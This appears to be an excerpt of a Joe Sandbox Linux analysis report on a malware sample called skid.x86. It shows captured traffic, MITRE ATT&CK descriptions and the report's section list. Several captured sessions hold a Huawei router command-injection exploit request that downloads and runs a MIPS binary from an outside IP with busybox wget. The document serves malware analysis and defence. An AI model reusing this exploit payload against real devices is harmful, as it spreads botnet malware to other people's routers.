Jan 22, 2024 04:03:39.612843990 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.20	48552	94.123.25.177	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:35.190737963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.20	59920	94.122.20.207	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:03:37.735008001 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: skid.x86 PID: 4687, Parent PID: 4611

General

Start time (UTC):	02:59:19
Start date (UTC):	22/01/2024
Path:	/tmp/skid.x86
Arguments:	/tmp/skid.x86
File size:	0 bytes
MD5 hash:	unknown

Start time (UTC):	02:59:19
Start date (UTC):	22/01/2024
Path:	/tmp/skid.x86
Arguments:	-
File size:	0 bytes
MD5 hash:	unknown

Start time (UTC):	02:59:19
Start date (UTC):	22/01/2024
Path:	/tmp/skid.x86
Arguments:	-
File size:	0 bytes
MD5 hash:	unknown

Start time (UTC):	02:59:19
Start date (UTC):	22/01/2024
Path:	/tmp/skid.x86
Arguments:	-
File size:	0 bytes
MD5 hash:	unknown

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report skid.x86

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

HTTP Packets

System Behavior

Analysis Process: skid.x86 PID: 4687, Parent PID: 4611

General

Chronological Activities

Analysis Process: skid.x86 PID: 4690, Parent PID: 4687

General

Chronological Activities

Analysis Process: skid.x86 PID: 4691, Parent PID: 4687

General

Chronological Activities

Analysis Process: skid.x86 PID: 4692, Parent PID: 4691

General

Linux Analysis Report
skid.x86